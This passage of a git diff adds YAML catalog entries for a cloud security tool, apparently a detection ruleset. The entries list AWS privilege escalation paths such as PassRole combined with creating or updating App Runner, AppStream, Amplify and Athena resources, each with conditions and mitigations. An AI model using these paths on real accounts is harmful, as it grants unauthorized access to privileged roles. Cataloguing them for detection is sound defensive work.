+ technique: EventBridge Connection credentials without `states:RevealSecrets` + reason: This subheading describes disclosure of an EventBridge Connection application credential through the already + modeled TestState role path; states:RevealSecrets is not required and no additional AWS principal is gained. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamcreatescheduledquery--iampassrole--run-sql-and-downstream-writes-as-a-scheduled-query-role + technique: '`timestream:CreateScheduledQuery` + `iam:PassRole` — run SQL and downstream writes as a scheduled-query + role' + reason: The passed role can only run Timestream SQL and configured table, SNS and S3 error-report writes. It does + not vend role credentials or arbitrary AWS API execution; the impact is bounded data delegation. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamexecutescheduledquery--trigger-an-already-stored-role-workflow + technique: '`timestream:ExecuteScheduledQuery` — trigger an already stored role workflow' + reason: ExecuteScheduledQuery replays a fixed SQL query with fixed role and destinations; the caller cannot change + the role, SQL, or output location, so no attacker-controlled principal gain is established. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md#execute-apiinvoke--iam-protected-application-data-access + technique: '`execute-api:Invoke` — IAM-protected application-data access' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-connect-customer-profiles-enum.md#live-least-privilege-caveat-for-listdomains + technique: Live least-privilege caveat for `ListDomains` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-cost-explorer-enum.md#read-a-known-budget-with-budgetsviewbudget + technique: Read a known budget with `budgets:ViewBudget` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-cost-explorer-enum.md#credit-records-through-legacy-aws-portalviewbilling + technique: Credit records through legacy `aws-portal:ViewBilling` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-datazone-enum.md#iampassrole-boundaries + technique: '`iam:PassRole` boundaries' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ssmgetdocument--command-content-disclosure + technique: '`ssm:GetDocument` — command-content disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#autoscalingdescribelaunchconfigurations--user-data-disclosure + technique: '`autoscaling:DescribeLaunchConfigurations` — user-data disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ec2describeinstanceattribute--ec2-user-data + technique: '`ec2:DescribeInstanceAttribute` — EC2 user data' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#ssmgetopsitem--operational-data-disclosure + technique: '`ssm:GetOpsItem` — operational-data disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-image-builder-enum.md#imagebuildergetcomponent--component-source-disclosure + technique: '`imagebuilder:GetComponent` — component-source disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-greengrass-enum.md#greengrassgetcomponentversionartifact--presigned-component-download + technique: '`greengrass:GetComponentVersionArtifact` — presigned component download' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-location-service-enum.md#geogetdeviceposition--recover-a-devices-latest-location + technique: '`geo:GetDevicePosition` — recover a device''s latest location' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-location-service-enum.md#geogetdevicepositionhistory--recover-movement-history + technique: '`geo:GetDevicePositionHistory` — recover movement history' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-q-in-connect-enum.md#wisdomgetcontent--download-knowledge-base-documents + technique: '`wisdom:GetContent` — download knowledge-base documents' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md#sesgetemailtemplate--template-content-disclosure + technique: '`ses:GetEmailTemplate` — template-content disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-simpledb-enum.md#read-one-known-item--sdbgetattributes + technique: Read one known item — `sdb:GetAttributes` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-simpledb-enum.md#query-or-enumerate-a-domain--sdbselect + technique: Query or enumerate a domain — `sdb:Select` + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-transfer-family-enum.md#permission-and-iampassrole-boundaries + technique: Permission and `iam:PassRole` boundaries + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-translate-enum.md#translategetterminology--download-a-custom-terminology-file + technique: '`translate:GetTerminology` — download a custom terminology file' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/aws-translate-enum.md#translategetparalleldata--download-a-parallel-translation-corpus + technique: '`translate:GetParallelData` — download a parallel translation corpus' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#schedulergetschedule--target-input-disclosure + technique: '`scheduler:GetSchedule` — target-input disclosure' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#pipesupdatepipe-revalidates-iampassrole + technique: '`pipes:UpdatePipe` revalidates `iam:PassRole`' + reason: Service enumeration or authorization notes; this heading identifies API capabilities but documents no + principal-to-principal escalation path. + source_revision: a66f094ede diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/account.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/account.yaml new file mode 100644 index 0000000000..453262ad49 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/account.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Account Management privilege escalation techniques. +# Source: hacktricks-cloud aws-account-management-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml new file mode 100644 index 0000000000..a43bab78fd --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml @@ -0,0 +1,116 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Amplify privilege escalation techniques. +# Source: hacktricks-cloud aws-amplify-privesc/README.md. + +- id: aws-amplify-updateapp-passrole + provider: aws + service: amplify + title: Repoint an Amplify app's service or compute role to a passed role and build it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp--iampassrole--repoint-the-app-onto-a-more-privileged-role + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting amplify.amazonaws.com by assigning them as an app's service (build) or compute role and running code under them. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: amplify.amazonaws.com + - action: amplify:UpdateApp + resource: "*" + - action: amplify:StartJob + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: amplify.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting amplify.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may restrict passing roles to Amplify. + - id: code_execution_path + description: Code must run under the new role, through a build with a changed buildSpec/environment (service role) or a deployed SSR runtime the source controls (compute role); automatic builds or webhooks can replace StartJob. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Amplify roles with iam:PassedToService=amplify.amazonaws.com and specific role ARNs; restrict amplify:UpdateApp. + references: + - https://docs.aws.amazon.com/amplify/latest/APIReference/API_UpdateApp.html + - https://docs.aws.amazon.com/amplify/latest/userguide/amplify-SSR-compute-role.html + notes: The source needs at least one existing app it can update (amplify:UpdateApp on that app). Both iamServiceRoleArn and computeRoleArn require iam:PassRole on the target role. + +- id: aws-amplifybackend-createtoken-studio-admin + provider: aws + service: amplifybackend + title: Mint an Amplify Studio administrator login for a Gen 1 backend + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifybackendcreatetoken--mint-an-amplify-studio-login + source_revision: 171e422299 + summary: The source can obtain an Amplify Studio application-administration session over the data model, auth and configuration of Gen 1 backends it can mint Studio logins for. + requires: + all_of: + - action: amplifybackend:CreateToken + resource: "{target.amplifybackend_token_arn}" + - action: amplifybackend:CreateToken + resource: "{target.amplifybackend_backend_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: amplifybackend + scope: same_account + aggregate_as: "Amplify Studio administrators in {account}" + grants: [Amplify Studio administrator (aws-amplify-admin)] + preconditions: + - amplifybackend_create_token_backend_scope + conditions: + - id: gen1_backend_with_studio + description: The app must have an existing Amplify Gen 1 backend environment, and the issued challenge must be accepted by its Studio sign-in flow. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict amplifybackend:CreateToken/GetToken to Studio administrators and alert on CreateToken from unexpected principals. + notes: Application-plane administration only (Studio session as the fixed aws-amplify-admin Cognito user); it does not return IAM credentials. Targets are collected Amplify apps with Gen 1 backend environments; accounts whose apps or backend environments were not collected keep an unresolved placeholder. CreateToken takes the known app ID directly and returns a one-time challenge code, so amplify:GetApp is not a prerequisite. The Service Authorization Reference lists both backend and token resource types for amplifybackend:CreateToken; a token-only policy leaves backend authorization unresolved. + +- id: aws-amplify-updateapp-passrole-ssr + provider: aws + service: amplify + title: Repoint an Amplify SSR compute role and invoke controlled SSR code + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp--iampassrole--repoint-the-app-onto-a-more-privileged-role + source_revision: 171e422299 + summary: The source can execute controlled SSR code as a passable compute role of an updatable app. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: amplify.amazonaws.com + - action: amplify:UpdateApp + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: amplify.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting amplify.amazonaws.com passable in {account} + outcome: workload_execution + conditions: + - id: controlled_ssr + description: The existing app must deploy attacker-controlled SSR code and an HTTP request must reach that SSR route under the new compute role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Amplify roles with iam:PassedToService=amplify.amazonaws.com and specific role ARNs; restrict amplify:UpdateApp. + references: + - https://docs.aws.amazon.com/amplify/latest/APIReference/API_UpdateApp.html + - https://docs.aws.amazon.com/amplify/latest/userguide/amplify-SSR-compute-role.html + notes: No StartJob is needed for the SSR request; the route, deployed code and app-to-role association must be observed or UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appconfig.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appconfig.yaml new file mode 100644 index 0000000000..5b8bf00982 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appconfig.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS appconfig privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appflow.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appflow.yaml new file mode 100644 index 0000000000..737096cd9f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appflow.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS appflow privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml new file mode 100644 index 0000000000..f1d1ca178a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml @@ -0,0 +1,114 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS App Runner privilege escalation techniques. +# Source: hacktricks-cloud aws-apprunner-privesc/README.md. + +- id: aws-apprunner-passrole-createservice + provider: aws + service: apprunner + title: Create an App Runner service with a passed instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#iampassrole-apprunnercreateservice + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting tasks.apprunner.amazonaws.com by running + code it controls in a new App Runner service using that instance role. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: apprunner.amazonaws.com + - action: apprunner:CreateService + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + aggregate_as: Roles trusting tasks.apprunner.amazonaws.com in {account} + outcome: workload_execution + preconditions: + - apprunner_existing_customer_account + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: image_source + description: The source needs a code repository connection or an image it can supply (public ECR image or private + ECR with an access role). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on App Runner instance roles with iam:PassedToService and specific role ARNs. + references: + - https://docs.aws.amazon.com/apprunner/latest/dg/security_iam_service-with-iam.html + notes: Existing App Runner customers can still create services. A recorded service establishes prior use; an empty service inventory does not establish whether AWS still allows this account to create one. + + +- id: aws-apprunner-updateservice-passrole + provider: aws + service: apprunner + title: Repoint an existing App Runner service to a passed instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerupdateservice + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting tasks.apprunner.amazonaws.com by updating an existing App Runner service to use that instance role together with code or a start command it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: apprunner.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting tasks.apprunner.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - apprunner_existing_image_service_update + conditions: + - id: existing_service + description: An existing image-based App Runner service must be RUNNING or CREATE_FAILED and covered by apprunner:UpdateService. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict apprunner:UpdateService to deployment pipelines and iam:PassRole on App Runner instance roles with iam:PassedToService and exact role ARNs. + references: + - https://docs.aws.amazon.com/apprunner/latest/api/API_UpdateService.html + notes: Companion of aws-apprunner-updateservice (keeps the existing role, no PassRole). UpdateService cannot switch a code-based service to an image; code-based services need a separately verified attacker-controlled code or start-command path. +- id: aws-apprunner-plaintext-credential + provider: aws + service: apprunner + title: DescribeService returns plaintext environment credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerdescribeservice--read-plaintext-runtime-variables + source_revision: 57bd5c07df + summary: A verified exposed AWS credential for another principal can be read by the source. + requires: + all_of: + - action: apprunner:DescribeService + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-apprunner-plaintext-credential + scope: same_account + outcome: credentials + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + confidence: conditional + severity: high + mitigation: Restrict the listed action to approved operators and protect exposed credentials. + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml new file mode 100644 index 0000000000..ed66277efb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml @@ -0,0 +1,194 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon AppStream 2.0 (WorkSpaces Applications) privilege escalation techniques. +# Source: hacktricks-cloud aws-appstream-privesc/README.md (rev 171e422299). +# Existing-resource updates use collected fleet and builder state and associations. + +- id: aws-appstream-passrole-createimagebuilder-createfleet + provider: aws + service: appstream + title: Create and stream into a fleet with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable role trusting appstream.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_fleet_with_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: image_and_network + description: The chosen image and capacity must allow the fleet to start before a streaming session can begin. + - id: streaming_url_scope + description: CreateStreamingURL permission must cover both the chosen fleet and its associated stack. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on AppStream roles with iam:PassedToService and specific role ARNs; limit image + builder and fleet creation to AppStream administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateFleet.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_StartFleet.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: 'Reach is roles trusting appstream.amazonaws.com in PassRole scope. The new fleet must have an image and an + associated stack; an existing stack may be reused.' + +- id: aws-appstream-passrole-createappblockbuilder + provider: aws + service: appstream + title: Create and stream into an app block builder with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can create an app block builder with a passable role and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_app_block_builder_with_role + conditions: + - id: app_block_and_network + description: The new builder needs suitable subnets and an app block it can be associated with before it starts. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and app block builder creation to approved roles and administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlock.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_StartAppBlockBuilder.html + +- id: aws-appstream-passrole-createimagebuilder + provider: aws + service: appstream + title: Create and stream into an image builder with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can create an image builder with a passable role and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_image_builder_with_role + conditions: + - id: image_builder_readiness + description: The available image and capacity must allow the new builder to reach a running state before streaming. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and image builder creation to approved roles and administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_DescribeImages.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilderStreamingURL.html + +- id: aws-appstream-passrole-updatefleet + provider: aws + service: appstream + title: Set a passable role on a streamable fleet + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can set a passable role on an existing fleet and stream into that fleet. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_existing_fleet_role_swap + conditions: + - id: fleet_readiness + description: The fleet must be associated with a usable stack and able to run streaming sessions after its role changes. + - id: streaming_url_scope + description: CreateStreamingURL permission must cover both the chosen fleet and its associated stack. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and UpdateFleet on fleets that can run sessions with privileged roles. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_UpdateFleet.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_ListAssociatedStacks.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateStreamingURL.html + +- id: aws-appstream-passrole-updateappblockbuilder + provider: aws + service: appstream + title: Set a passable role on a streamable app block builder + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can set a passable role on an existing app block builder and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_existing_app_block_builder_role_swap + conditions: + - id: builder_readiness + description: The builder must be associated with an app block and able to run a streaming session after its role changes. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and UpdateAppBlockBuilder on builders that can run sessions with privileged roles. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_UpdateAppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_DescribeAppBlockBuilderAppBlockAssociations.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilderStreamingURL.html diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml new file mode 100644 index 0000000000..db2a995f23 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS AppSync privilege escalation techniques. +# Source: hacktricks-cloud aws-appsync-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/arc-region-switch.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/arc-region-switch.yaml new file mode 100644 index 0000000000..b787fa5ef9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/arc-region-switch.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Application Recovery Controller (ARC) Region switch privilege escalation techniques. +# Source: hacktricks-cloud aws-region-switch-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml new file mode 100644 index 0000000000..f57e303e1f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml @@ -0,0 +1,57 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Athena (Spark workgroups and stored notebooks) privilege escalation techniques. +# Source: hacktricks-cloud aws-athena-spark-role-privesc/README.md and aws-athena-stored-query-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Athena Spark workgroups carry an +# ExecutionRole (trusting athena.amazonaws.com) used by every session, calculation and notebook in the workgroup. + +- id: aws-athena-passrole-createworkgroup-spark + provider: aws + service: athena + title: Create an Athena Spark workgroup with a passed execution role and run code in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenacreateworkgroup--athenastartsession--run-spark-code-as-an-arbitrary-passed-execution-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting athena.amazonaws.com by binding it to a new Spark workgroup and running calculations there. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: athena.amazonaws.com + - action: athena:CreateWorkGroup + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + - action: athena:StartSession + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + - action: athena:StartCalculationExecution + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + target: + kind: aws_role + selector: + trust_allows_service: athena.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting athena.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: spark_region_support + description: Athena for Apache Spark must be available in the region. + - id: usable_workgroup + description: One available workgroup name must be covered by CreateWorkGroup, StartSession and StartCalculationExecution; the caller must select a Spark engine version that supports the calculation API, since Spark 3.5 uses Spark Connect instead. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Athena Spark execution roles with iam:PassedToService=athena.amazonaws.com and restrict athena:CreateWorkGroup to administrators. + references: + - 